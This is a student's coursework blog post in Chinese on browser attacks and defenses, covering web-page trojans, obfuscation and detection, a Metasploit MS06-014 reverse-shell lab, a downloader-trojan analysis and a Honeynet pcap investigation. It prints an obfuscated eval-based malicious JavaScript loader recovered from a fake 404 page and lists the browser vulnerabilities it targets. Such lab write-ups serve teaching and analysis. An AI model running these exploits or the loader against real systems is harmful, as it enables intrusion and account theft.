20199126 2019-2020-2 《网络攻防实践》第12周作业

前言

这个作业属于哪个课程:https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756
我在这个课程的目标是:学习网络攻防技术相关知识,掌握相关技能。
这个作业在哪个具体方面帮助我实现目标 :初步学习浏览器安全攻防相关知识。

1.实践内容

1.1 Web浏览器的技术发展与安全威胁

1.1.1 Web浏览器战争与技术发展
  • 浏览器战争

    • 第一次浏览器战争:1995-1998,网景公司的Netscape浏览器对阵微软公司的IE浏览器
    • 第二次浏览器战争:近十来年,以微软IE浏览器与基于开源内核的Firefox、Chrome、Safari等浏览器在PC上的竞争,以及新兴移动终端平台浏览器市场的争夺为主线。
    • 国内的浏览器乱战:
  • 浏览器技术发展

    • 现代Web浏览器的基本结构与机理

      现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。

1.1.2 Web浏览的安全问题与威胁
  • Web浏览器软件的安全困境三要素

    • 复杂性:现代Web浏览器软件由于需要支持多种类型的应用层协议浏览,符合一系列的页面标准规范,支持多种客户端执行环境,并满足大量用户浏览需求,已经变得非常复杂和庞大。
    • 可扩展性:几乎所有的现代浏览器软件都支持第三方插件扩展机制,而第三方扩展插件的开发过程缺乏安全保证。
    • 连通性:浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
  • Web浏览安全威胁位置

    • 针对传输网络的网络协议安全威胁

    • 针对Web浏览器系统平台的安全威胁

    • 针对Web浏览器软件及插件程序的渗透攻击威胁

    • 针对互联网用户丶社会工程学攻击威胁

1.2 Web浏览端的渗透攻击威胁——网页木马

1.2.1 网页木马安全威胁的产生背景
  • 网页木马的产生与发展背景:网页木马是从恶意网页脚本所孕育和发展出来的。

  • 网页木马存在的技术基础——Web浏览端安全漏洞

1.2.2 网页木马的机理分析
  • 网页木马的定义特性:网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScirpt 实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

  • 对网页木马机理的全方位分析与理解

    通过上述流程构造出的网页木马攻击网络具有区别于传统的二进制恶意代码的如下特性,这也使得网页木马成为近年来最为复杂和难以应对的网络安全威胁类型。

    • 多样化的客户端渗透攻击位置和技术类型
    • 分布式、复杂的微观链接结构
    • 灵活多变的混淆与对抗分析能力
  • 网页木马的本质核心——浏览器渗透攻击

  • 网页挂马机制

    • 内嵌HTML标签
    • 恶意Script脚本
    • 内嵌对象链接
    • ARP欺骗挂马
  • 混淆机制

    目前在网页木马中使用比较广泛的混淆方法主要有:

    • 将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析
    • 通过 大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
    • 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用document.write()或eval()进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具
    • 利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行
    • 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。
1.2.3 网页木马的检测与分析技术
  • 基于特征码匹配的传统检测方法
  • 基于统计与机器学习的静态分析方法:包括基于判断矩阵法的网页恶意脚本检测方法、基于静态启发式规则的检测方法、基于多异常语义特征加权的恶意网页检测方法以及基于分类算法的混淆恶意脚本检测方法等
  • 基于动态行为结果判定的检测分析方法:利用网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型Web访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马。由于这种动态行为检测方法是基于“行为结果”进行判定,因此具有低误报率、能够天然地对抗混淆机制、能检测新出现的“零日”网页木马的技术优势。
  • 基于模拟浏览器环境的动态分析检测方法:以脚本执行引擎(如SpiderMonkey开源JavaScript引|擎)为核心,通过模拟实现DOM模型、页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态,并进一步结合反病毒引擎扫描、异常检测、安全漏洞模拟与特征检测等方法对网页木马进行分析和检测。
1.2.4 网页木马防范措施
  • 采用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制,来确保所使用的计算机始终处于一种相对安全的状态
  • 安装与实时更新一款优秀的反病毒软件
  • 养成安全上网浏览的良好习惯,并借助于Google安全浏览、SiteAdvisor等站点安全评估工具的帮助,避免访问那些可能遭遇挂马或者安全性不高的网站
  • 在目前网页木马威胁主要危害Windows平台和IE浏览器用户的情况下,或许安装Mac OS/Linux操作系统,并使用Chrome、Safari、 Opera 等冷门浏览器进行上网,做互联网网民中特立独行的少数派,可以有效地避免网页木马的侵扰。

1.3 揭开网络钓鱼的黑幕

1.3.1 网络钓鱼攻击的防范
  • 针对网络钓鱼过程中的电子邮件和即时通信信息欺诈,应该提高警惕性,对于以中奖、优惠、紧急状态等各种名义索取个人敏感信息的邮件一定要持怀疑态度,在未经认真核准的情况下,不要轻易相信并打来邮件中的链接。
  • 充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性,如浏览器中对HTTPS安全登录链接的提示,地址栏中对访问网站域名的标黑高亮提示、对钓鱼网站的警告提示与举报功能。但同时又不能完全依赖于这些浏览器与网络安全软件的安全提示,对于进行关键的在线金融操作时,还需要靠个人的安全意识来辨别可能面对的新的钓鱼网站。
  • 在登录网上银行、证券基金等关键网站进行在线金融操作时,务必要重视访问网站的真实性,不要点击邮件中的链接来访问这些网站,最好以直接访问域名方式来访问,尽量使用硬件U盾来代替软证书或口令访问重要的金融网站。对网上银行异常动态提高警惕,如不小心在陌生的网址上输入了账户和密码,并遇到类似“系统维护”之类提示时,应立即拨打有关客服热线进行确认,万一资料被盗,应立即修改相关交易密码或进行银行卡、证券交易卡挂失。
  • 通过学习和修炼提升自己抵抗社会工程学攻击的能力,从而在目前流行的撒网式钓鱼攻击中立于不败之地,因为撒网式钓鱼攻击不会采用复杂度很高的欺骗技巧,我们每个人都存在社会工程学攻击漏洞,只要比绝大多数人更懂得一些欺骗攻击技巧和相应的防范措施,并在实际过程中加以关注,就很难被撒网式钓鱼攻击所危害。

2.实践过程

1、Web浏览器渗透攻击实验

打开msfconsole,使用MS06-014渗透攻击模块(ie-createobject),选择PAYLOAD为windows/meterpreter/reverse_tcp,设置攻击者地址,exploit运行

靶机在浏览器输入URL地址http://192.168.200.2:8080/A871njZMM3D,浏览器弹出字符串,此时攻击已经攻击成功,与靶机建立了会话

2、剖析一个实际的网页木马攻击场景

目前由于挂马网站已经失效,提供的资源文件中也没有相应网页文件,就直接对如下文件进行分析了。。。

首先是来自实践讲解文件的网站结构图

  • 网页加密使用了在线加密工具:www.cha88.cn

  • aa/kl.htm (dispatcher 页面)
    • 十六进制编码
    • t=utf8to16(xxtea_decrypt(base64decode(t),'\x73\x63\x72\x69\x70\x74'));
    • Base64 编码, xxtea 加密( 密钥:script), UTF16to8 编码
  • 1.js (MS06-014 网马)
    • 十六进制编码
  • b.js ( 暴风影音网马)
  • pps.js (PPStream 网马)
  • 八进制编码

使用MD5摘要发现bf.exe与pps.exe是同一个文件,然后用PEiD打开pps

可以看到其并没有加壳,然后使用IDA Pro打开它,看字符串部分

分析其中的内容大概是
  • 它会下载一大堆exe,解压文件里有0-19共20个exe应该都是这里下载的

  • 会在磁盘根目录下生成自运行文件

  • 其会对IE、注册表、服务和系统文件进行操作

  • 可能会安装个服务,“为即插即用设备提供支持”常见于服务描述

在监控下运行下试试看
  • 首先最直观的是它删除了自己


    )

  • 如果能正常联网的话应该会下载那20个exe

  • **其在system32下创建 serdst.exe **

  • 安装了Wdswsdewn服务

    随便找那0-20的exe进行脱壳

    再用IDA

    好像是调用服务,还有判断什么的

    使用杀毒软件扫描可以看到都是些盗号木马

3. Web浏览器渗透攻击防范对抗

实践1使用了MS06-014渗透攻击模块,我们把生成的网址放到fre show里看看

内容使用了大量空格、换行在增加解析难度

一定转换后如下,<scriptlanguage="javascript"></script>之间的内容被我的杀毒软件杀了。。。

<html>
	<head>
		<title>
		</title>
		<scriptlanguage="javascript">
		</script>
	</head>
	<bodyonload='BXvO()'>
		pKQa
		</body>

</html>

借用其他人获得内容大致如下

内部嵌入了JavaScript,对于下面那一堆字符数组查一下

很容易就发现是MS06-014漏洞

4. Web浏览器遭遇攻击

根据教程,使用chaosreader分析文件

./chaosreader suspicious-time.pcap

可以看到有一大部分是http报文,然后在文件夹下生成了一大堆各种session开头的文件

根据教程一步一步来

cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"

可以看到谁从哪个端口发了什么报文给谁的什么端口

cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4,$5,$6}' | sort | uniq -c | sort -nr

统计下各类报文数量

可以认为是针对HTTP协议的攻击

以下通过对session_00[0-9]的html文件进行遍历搜索出各种信息
  • 域名
    • rapidshare.com.eyu32.ru 对应192.168.56.50
    • sploitme.com.cn对应192.168.56.50
    • shop.honeynet.sg对应192.168.56.51
  • 主机
    • 10.0.2.15
    • 10.0.3.15
    • 10.0.4.15
    • 10.0.5.15
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort –u

tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'

以上查询在我本地的结果都是错误的,目前还是不明原因

以下为正常应该的查询结果

tshark查询得所有的页面及访问IP
 tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk
'{print $1," -> ",$2, "\t: ","http://"$3$4}'

查询具有可疑的对密网访问请求

tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk
'{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'

打开其中一部分网页

分析Not Found 的网页源码,可以发现这是被伪装成404的带JavaScript脚本的恶意页面

攻击动作概要描述
  • 当被害进入提供的登录网页http://rapidshare.com.eyu32.ru/login.php进行登录时
  • 被重定向到sploitme.com.cn/fg/show.php?s=X
  • 然后被返回一个伪装的404页面,其中包含恶意JavaScript代码,代码尝试进行各种攻击
  • 成功后下载恶意软件,软件访问www.honeynet.org

防分析技巧
  • 对JavaScript代码进行简单的编码加密混淆

    script language='JavaScript'>
    <!--
    var CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i++));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
    if(enc4!=64){output=output+String.fromCharCode(chr3);}}
    output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
    return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
    return CRYPT.decode(container);}}
    eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179201185191214128142198189161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122130170144210184211201104140130146180175229195190106168156188190222191174168172129166183128168223196152151163160115168188171223176122132193157158179228189189118165157155187151203194176156153191153191181201159152151125201122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155189192158201140173203143179205192190172157139168137136206189190219110143132137119190164209214143137190122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155188222212202162111204165121191162182211157132166136175186200176168158129166183128190164176151142104185178161184222161203125128135168122175222205187102171172155170204201175152130137154149119200184180211152142168175170152195217178137170139156121171162195153156165172150179156216194152110121191175180176186180211152138130124169211200221201120162203157159183163205212105159159134144156213215189173130191124190191201158214126161182137157168187221176158111191157192158236203174110105158177137212213174160163144170149173190201218207154122130187145211187163176158170160156159183225182213127158180176153219212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151187213204211207174144170136188200223192225152125139184170151200191193141158130147155149219183186126166183118145209214178189174152187133119200224192211132105131175169173192214204104128190167143187235204208119163171154191223204190219110156163179139199164155222151125168115161184217218182172115143'));
    //-->
    </script>
    
  • 将返回的页面伪装成404

  • 同一用户第二次连接sploitme.com.cn不会进行攻击

由于pcap2httpflow.py问题,无法获得加密网页对应的js

攻击目标

目标操作系统:可以找到的有Windows NT,Linux

目标安全漏洞

  • Mdac : WScript.Shell - MS06-014
  • Aolwinamp: IWinAmpActiveX.ConvertFile
  • Directshow: 'msvidctl.dll' - MS09-032 - MS09-037
  • Snapshot: MSOfficeSnapshotViewer - MS08-041
  • Com: 'msdds.dll' COM Object - MS05-052
  • Spreadsheet: OWC10.Spreadsheet - MS09-43

3、实践总结

各种各样的问题还不理解,各种感觉时间不够。许多问题需要深入但还是匆匆而过。

posted on 2020-05-20 23:31  符原  阅读(190)  评论(0编辑  收藏  举报